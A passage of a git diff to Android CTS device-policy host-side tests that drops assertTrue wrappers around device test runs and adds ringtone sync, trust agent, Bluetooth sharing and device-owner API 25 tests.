                     "testPhoneAccountNotRegistered",
-                    mParentUserId));
+                    mParentUserId);
         } finally {
             // Unregister the phone account.
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
                     "testUnregisterPhoneAccount",
-                    mProfileUserId));
+                    mProfileUserId);
         }
     }
 
@@ -680,33 +769,79 @@
         }
         // Place a outgoing call through work phone account using TelecomManager and verify the
         // call is inserted properly.
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
                 "testOutgoingCallUsingTelecomManager",
-                mProfileUserId));
+                mProfileUserId);
         // Make sure the call is not inserted into parent user.
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
                 "testEnsureCallNotInserted",
-                mParentUserId));
+                mParentUserId);
 
         // Place a outgoing call through work phone account using ACTION_CALL and verify the call
         // is inserted properly.
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
                 "testOutgoingCallUsingActionCall",
-                mProfileUserId));
+                mProfileUserId);
         // Make sure the call is not inserted into parent user.
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
                 "testEnsureCallNotInserted",
-                mParentUserId));
+                mParentUserId);
 
         // Add an incoming call with parent user's phone account and verify the call is inserted
         // properly.
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
                 "testIncomingCall",
-                mProfileUserId));
+                mProfileUserId);
         // Make sure the call is not inserted into parent user.
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
                 "testEnsureCallNotInserted",
-                mParentUserId));
+                mParentUserId);
+    }
+
+    private void givePackageWriteSettingsPermission(int userId, String pkg) throws Exception {
+        // Allow app to write to settings (for RingtoneManager.setActualDefaultUri to work)
+        String command = "appops set --user " + userId + " " + pkg
+                + " android:write_settings allow";
+        CLog.d("Output for command " + command + ": " + getDevice().executeShellCommand(command));
+    }
+
+    public void testRingtoneSync() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        givePackageWriteSettingsPermission(mProfileUserId, MANAGED_PROFILE_PKG);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
+                "testRingtoneSync", mProfileUserId);
+    }
+
+    // Test if setting RINGTONE disables sync
+    public void testRingtoneSyncAutoDisableRingtone() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        givePackageWriteSettingsPermission(mProfileUserId, MANAGED_PROFILE_PKG);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
+                "testRingtoneDisableSync", mProfileUserId);
+    }
+
+    // Test if setting NOTIFICATION disables sync
+    public void testRingtoneSyncAutoDisableNotification() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        givePackageWriteSettingsPermission(mProfileUserId, MANAGED_PROFILE_PKG);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
+                "testNotificationDisableSync", mProfileUserId);
+    }
+
+    // Test if setting ALARM disables sync
+    public void testRingtoneSyncAutoDisableAlarm() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        givePackageWriteSettingsPermission(mProfileUserId, MANAGED_PROFILE_PKG);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
+                "testAlarmDisableSync", mProfileUserId);
     }
 
     public void testTrustAgentInfo() throws Exception {
@@ -714,22 +849,50 @@
             return;
         }
         // Set and get trust agent config using child dpm instance.
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".TrustAgentInfoTest",
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".TrustAgentInfoTest",
                 "testSetAndGetTrustAgentConfiguration_child",
-                mProfileUserId));
+                mProfileUserId);
         // Set and get trust agent config using parent dpm instance.
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".TrustAgentInfoTest",
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".TrustAgentInfoTest",
                 "testSetAndGetTrustAgentConfiguration_parent",
-                mProfileUserId));
+                mProfileUserId);
         // Unified case
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".TrustAgentInfoTest",
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".TrustAgentInfoTest",
                 "testSetTrustAgentConfiguration_bothHaveTrustAgentConfigAndUnified",
-                mProfileUserId));
-        // Non-unified case, this test must run last because we have no way to clear work side
-        // password.
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".TrustAgentInfoTest",
-                "testSetTrustAgentConfiguration_bothHaveTrustAgentConfigAndNonUnified",
-                mProfileUserId));
+                mProfileUserId);
+        // Non-unified case
+        try {
+            changeUserCredential("1234", null, mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".TrustAgentInfoTest",
+                    "testSetTrustAgentConfiguration_bothHaveTrustAgentConfigAndNonUnified",
+                    mProfileUserId);
+        } finally {
+            changeUserCredential(null, "1234", mProfileUserId);
+        }
+    }
+
+    public void testSanityCheck() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        // Install SimpleApp in work profile only and check activity in it can be launched.
+        installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".SanityTest", mProfileUserId);
+    }
+
+    public void testBluetoothSharingRestriction() throws Exception {
+        final boolean hasBluetooth = hasDeviceFeature(FEATURE_BLUETOOTH);
+        if (!mHasFeature || !hasBluetooth) {
+            return;
+        }
+
+        // Primary profile should be able to use bluetooth sharing.
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".BluetoothSharingRestrictionPrimaryProfileTest",
+                "testBluetoothSharingAvailable", mPrimaryUserId);
+
+        // Managed profile owner should be able to control it via DISALLOW_BLUETOOTH_SHARING.
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".BluetoothSharingRestrictionTest",
+                "testOppDisabledWhenRestrictionSet", mProfileUserId);
     }
 
     private void disableActivityForUser(String activityName, int userId)
@@ -742,17 +905,21 @@
                 + getDevice().executeShellCommand(command));
     }
 
-    private String changeUserRestrictionForUser(String key, String command, int userId)
+    private void changeUserRestrictionOrFail(String key, boolean value, int userId)
             throws DeviceNotAvailableException {
-        String adbCommand = "am start -W --user " + userId
-                + " -c android.intent.category.DEFAULT "
-                + " --es extra-command " + command
-                + " --es extra-restriction-key " + key
-                + " " + MANAGED_PROFILE_PKG + "/.SetPolicyActivity";
-        // Don't log output because sometimes used expecting failures.
-        CLog.d("Running command " + adbCommand);
-        String commandOutput = getDevice().executeShellCommand(adbCommand);
-        return commandOutput;
+        changeUserRestrictionOrFail(key, value, userId, MANAGED_PROFILE_PKG);
+    }
+
+    private String changeUserRestriction(String key, boolean value, int userId)
+            throws DeviceNotAvailableException {
+        return changeUserRestriction(key, value, userId, MANAGED_PROFILE_PKG);
+    }
+
+    private void setIdleWhitelist(String packageName, boolean enabled)
+            throws DeviceNotAvailableException {
+        String command = "cmd deviceidle whitelist " + (enabled ? "+" : "-") + packageName;
+        CLog.d("Output for command " + command + ": "
+                + getDevice().executeShellCommand(command));
     }
 
     private String changeCrossProfileWidgetForUser(String packageName, String command, int userId)
@@ -785,8 +952,8 @@
     }
 
     private void assertAppLinkResult(String methodName) throws DeviceNotAvailableException {
-        assertTrue(runDeviceTestsAsUser(INTENT_SENDER_PKG, ".AppLinkTest", methodName,
-                mProfileUserId));
+        runDeviceTestsAsUser(INTENT_SENDER_PKG, ".AppLinkTest", methodName,
+                mProfileUserId);
     }
 
     private boolean shouldRunTelecomTest() throws DeviceNotAvailableException {
@@ -806,10 +973,10 @@
                     + " secure managed_profile_contact_remote_search 1");
 
             // Add test account
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
-                    "testAddTestAccount", mParentUserId));
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
-                    "testAddTestAccount", mProfileUserId));
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+                    "testAddTestAccount", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+                    "testAddTestAccount", mProfileUserId);
 
             // Install directory provider to both primary and managed profile
             installAppAsUser(DIRECTORY_PROVIDER_APK, mProfileUserId);
@@ -818,25 +985,25 @@
             setDirectoryPrefix(MANAGED_DIRECTORY_PREFIX, mProfileUserId);
 
             // Check enterprise directory API works
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
-                    "testGetDirectoryListInPrimaryProfile", mParentUserId));
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+                    "testGetDirectoryListInPrimaryProfile", mParentUserId);
 
             // Insert Primary profile Contacts
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
-                    "testPrimaryProfilePhoneAndEmailLookup_insertedAndfound", mParentUserId));
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+                    "testPrimaryProfilePhoneAndEmailLookup_insertedAndfound", mParentUserId);
             // Insert Managed profile Contacts
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
-                    "testManagedProfilePhoneAndEmailLookup_insertedAndfound", mProfileUserId));
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+                    "testManagedProfilePhoneAndEmailLookup_insertedAndfound", mProfileUserId);
             // Insert a primary contact with same phone & email as other
             // enterprise contacts
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
                     "testPrimaryProfileDuplicatedPhoneEmailContact_insertedAndfound",
-                    mParentUserId));
+                    mParentUserId);
             // Insert a enterprise contact with same phone & email as other
             // primary contacts
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
                     "testManagedProfileDuplicatedPhoneEmailContact_insertedAndfound",
-                    mProfileUserId));
+                    mProfileUserId);
 
             callable.call();
 
@@ -869,31 +1036,31 @@
             mProfileUserId = profileUserId;
         }
 
-        private boolean runDeviceTestsAsUser(String pkgName, String testClassName,
+        private void runDeviceTestsAsUser(String pkgName, String testClassName,
                 String testMethodName, Integer userId) throws DeviceNotAvailableException {
-            return mManagedProfileTest.runDeviceTestsAsUser(pkgName, testClassName, testMethodName,
+            mManagedProfileTest.runDeviceTestsAsUser(pkgName, testClassName, testMethodName,
                     userId);
         }
 
         // Enable / Disable cross profile caller id
         public void setCallerIdEnabled(boolean enabled) throws DeviceNotAvailableException {
             if (enabled) {
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testSetCrossProfileCallerIdDisabled_false", mProfileUserId));
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testSetCrossProfileCallerIdDisabled_false", mProfileUserId);
             } else {
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testSetCrossProfileCallerIdDisabled_true", mProfileUserId));
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testSetCrossProfileCallerIdDisabled_true", mProfileUserId);
             }
         }
 
         // Enable / Disable cross profile contacts search
         public void setContactsSearchEnabled(boolean enabled) throws DeviceNotAvailableException {
             if (enabled) {
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testSetCrossProfileContactsSearchDisabled_false", mProfileUserId));
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testSetCrossProfileContactsSearchDisabled_false", mProfileUserId);
             } else {
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testSetCrossProfileContactsSearchDisabled_true", mProfileUserId));
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        "testSetCrossProfileContactsSearchDisabled_true", mProfileUserId);
             }
         }
 
@@ -901,182 +1068,182 @@
                 throws DeviceNotAvailableException {
             // Primary user cannot use ordinary phone/email lookup api to access
             // managed contacts
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testPrimaryProfilePhoneLookup_canNotAccessEnterpriseContact", mParentUserId));
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testPrimaryProfileEmailLookup_canNotAccessEnterpriseContact", mParentUserId));
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testPrimaryProfilePhoneLookup_canNotAccessEnterpriseContact", mParentUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testPrimaryProfileEmailLookup_canNotAccessEnterpriseContact", mParentUserId);
             // Primary user can use ENTERPRISE_CONTENT_FILTER_URI to access
             // primary contacts
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testPrimaryProfileEnterprisePhoneLookup_canAccessPrimaryContact",
-                    mParentUserId));
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    mParentUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testPrimaryProfileEnterpriseEmailLookup_canAccessPrimaryContact",
-                    mParentUserId));
+                    mParentUserId);
             // When there exist contacts with the same phone/email in primary &
             // enterprise,
             // primary user can use ENTERPRISE_CONTENT_FILTER_URI to access the
             // primary contact.
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testPrimaryProfileEnterpriseEmailLookupDuplicated_canAccessPrimaryContact",
-                    mParentUserId));
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    mParentUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testPrimaryProfileEnterprisePhoneLookupDuplicated_canAccessPrimaryContact",
-                    mParentUserId));
+                    mParentUserId);
 
             // Managed user cannot use ordinary phone/email lookup api to access
             // primary contacts
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testManagedProfilePhoneLookup_canNotAccessPrimaryContact", mProfileUserId));
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testManagedProfileEmailLookup_canNotAccessPrimaryContact", mProfileUserId));
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testManagedProfilePhoneLookup_canNotAccessPrimaryContact", mProfileUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testManagedProfileEmailLookup_canNotAccessPrimaryContact", mProfileUserId);
             // Managed user can use ENTERPRISE_CONTENT_FILTER_URI to access
             // enterprise contacts
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testManagedProfileEnterprisePhoneLookup_canAccessEnterpriseContact",
-                    mProfileUserId));
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    mProfileUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testManagedProfileEnterpriseEmailLookup_canAccessEnterpriseContact",
-                    mProfileUserId));
+                    mProfileUserId);
             // Managed user cannot use ENTERPRISE_CONTENT_FILTER_URI to access
             // primary contacts
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testManagedProfileEnterprisePhoneLookup_canNotAccessPrimaryContact",
-                    mProfileUserId));
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    mProfileUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testManagedProfileEnterpriseEmailLookup_canNotAccessPrimaryContact",
-                    mProfileUserId));
+                    mProfileUserId);
             // When there exist contacts with the same phone/email in primary &
             // enterprise,
             // managed user can use ENTERPRISE_CONTENT_FILTER_URI to access the
             // enterprise contact.
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testManagedProfileEnterpriseEmailLookupDuplicated_canAccessEnterpriseContact",
-                    mProfileUserId));
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    mProfileUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testManagedProfileEnterprisePhoneLookupDuplicated_canAccessEnterpriseContact",
-                    mProfileUserId));
+                    mProfileUserId);
 
             // Check if phone lookup can access primary directories
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testPrimaryProfileEnterprisePhoneLookup_canAccessPrimaryDirectories",
-                    mParentUserId));
+                    mParentUserId);
 
             // Check if email lookup can access primary directories
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testPrimaryProfileEnterpriseEmailLookup_canAccessPrimaryDirectories",
-                    mParentUserId));
+                    mParentUserId);
 
             if (expected) {
                 // Primary user can use ENTERPRISE_CONTENT_FILTER_URI to access
                 // managed profile contacts
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                         "testPrimaryProfileEnterprisePhoneLookup_canAccessEnterpriseContact",
-                        mParentUserId));
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        mParentUserId);
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                         "testPrimaryProfileEnterpriseEmailLookup_canAccessEnterpriseContact",
-                        mParentUserId));
+                        mParentUserId);
 
                 // Make sure SIP enterprise lookup works too.
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                         "testPrimaryProfileEnterpriseSipLookup_canAccessEnterpriseContact",
-                        mParentUserId));
+                        mParentUserId);
 
                 // Check if phone lookup can access enterprise directories
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                         "testPrimaryProfileEnterprisePhoneLookup_canAccessManagedDirectories",
-                        mParentUserId));
+                        mParentUserId);
 
                 // Check if email lookup can access enterprise directories
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                         "testPrimaryProfileEnterpriseEmailLookup_canAccessManagedDirectories",
-                        mParentUserId));
+                        mParentUserId);
             } else {
                 // Primary user cannot use ENTERPRISE_CONTENT_FILTER_URI to
                 // access managed contacts
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                         "testPrimaryProfileEnterprisePhoneLookup_canNotAccessEnterpriseContact",
-                        mParentUserId));
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        mParentUserId);
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                         "testPrimaryProfileEnterprisePhoneLookup_canNotAccessManagedDirectories",
-                        mParentUserId));
+                        mParentUserId);
 
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                         "testPrimaryProfileEnterpriseEmailLookup_canNotAccessManagedDirectories",
-                        mParentUserId));
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        mParentUserId);
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                         "testPrimaryProfileEnterprisePhoneLookup_canNotAccessManagedDirectories",
-                        mParentUserId));
+                        mParentUserId);
             }
         }
 
         public void checkIfCanFilterSelfContacts() throws DeviceNotAvailableException {
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testPrimaryProfileEnterpriseCallableFilter_canAccessPrimaryDirectories",
-                    mParentUserId));
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    mParentUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testManagedProfileEnterpriseCallableFilter_canAccessManagedDirectories",
-                    mProfileUserId));
+                    mProfileUserId);
 
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testPrimaryProfileEnterpriseEmailFilter_canAccessPrimaryDirectories",
-                    mParentUserId));
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    mParentUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testEnterpriseProfileEnterpriseEmailFilter_canAccessManagedDirectories",
-                    mProfileUserId));
+                    mProfileUserId);
 
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testPrimaryProfileEnterpriseContactFilter_canAccessPrimaryDirectories",
-                    mParentUserId));
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    mParentUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testManagedProfileEnterpriseContactFilter_canAccessManagedDirectories",
-                    mProfileUserId));
+                    mProfileUserId);
 
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testPrimaryProfileEnterprisePhoneFilter_canAccessPrimaryDirectories",
-                    mParentUserId));
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    mParentUserId);
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testManagedProfileEnterprisePhoneFilter_canAccessManagedDirectories",
-                    mProfileUserId));
+                    mProfileUserId);
         }
 
         public void checkIfCanFilterEnterpriseContacts(boolean expected)
                 throws DeviceNotAvailableException {
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testFilterUriWhenDirectoryParamMissing", mParentUserId));
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                    "testFilterUriWhenDirectoryParamMissing", mParentUserId);
             if (expected) {
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                         "testPrimaryProfileEnterpriseCallableFilter_canAccessManagedDirectories",
-                        mParentUserId));
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        mParentUserId);
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                         "testPrimaryProfileEnterpriseEmailFilter_canAccessManagedDirectories",
-                        mParentUserId));
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        mParentUserId);
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                         "testPrimaryProfileEnterpriseContactFilter_canAccessManagedDirectories",
-                        mParentUserId));
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        mParentUserId);
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                         "testPrimaryProfileEnterprisePhoneFilter_canAccessManagedDirectories",
-                        mParentUserId));
+                        mParentUserId);
             } else {
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                         "testPrimaryProfileEnterpriseCallableFilter_canNotAccessManagedDirectories",
-                        mParentUserId));
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        mParentUserId);
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                         "testPrimaryProfileEnterpriseEmailFilter_canNotAccessManagedDirectories",
-                        mParentUserId));
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        mParentUserId);
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                         "testPrimaryProfileEnterpriseContactFilter_canNotAccessManagedDirectories",
-                        mParentUserId));
-                assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+                        mParentUserId);
+                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                         "testPrimaryProfileEnterprisePhoneFilter_canNotAccessManagedDirectories",
-                        mParentUserId));
+                        mParentUserId);
             }
         }
 
         public void checkIfNoEnterpriseDirectoryFound() throws DeviceNotAvailableException {
-            assertTrue(runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
+            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
                     "testPrimaryProfileEnterpriseDirectories_canNotAccessManagedDirectories",
-                    mParentUserId));
+                    mParentUserId);
         }
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index a164428..01e55fe 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -16,6 +16,8 @@
 
 package com.android.cts.devicepolicy;
 
+import android.platform.test.annotations.RequiresDevice;
+
 import com.android.ddmlib.Log.LogLevel;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java
new file mode 100644
index 0000000..32b48d6
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import android.platform.test.annotations.RequiresDevice;
+
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import junit.framework.AssertionFailedError;
+
+/**
+ * Set of tests for device owner use cases that also apply to profile owners.
+ * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTestApi25.
+ */
+public class MixedDeviceOwnerTestApi25 extends DeviceAndProfileOwnerTestApi25 {
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        if (mHasFeature) {
+            mUserId = mPrimaryUserId;
+
+            installAppAsUser(DEVICE_ADMIN_APK, mUserId);
+            if (!setDeviceOwner(
+                    DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
+                    /*expectFailure*/ false)) {
+                removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+                getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+                fail("Failed to set device owner");
+            }
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mHasFeature) {
+            assertTrue("Failed to remove device owner",
+                    removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
+        }
+        super.tearDown();
+    }
+
+    // All tests for this class are defined in DeviceAndProfileOwnerTestApi25
+}
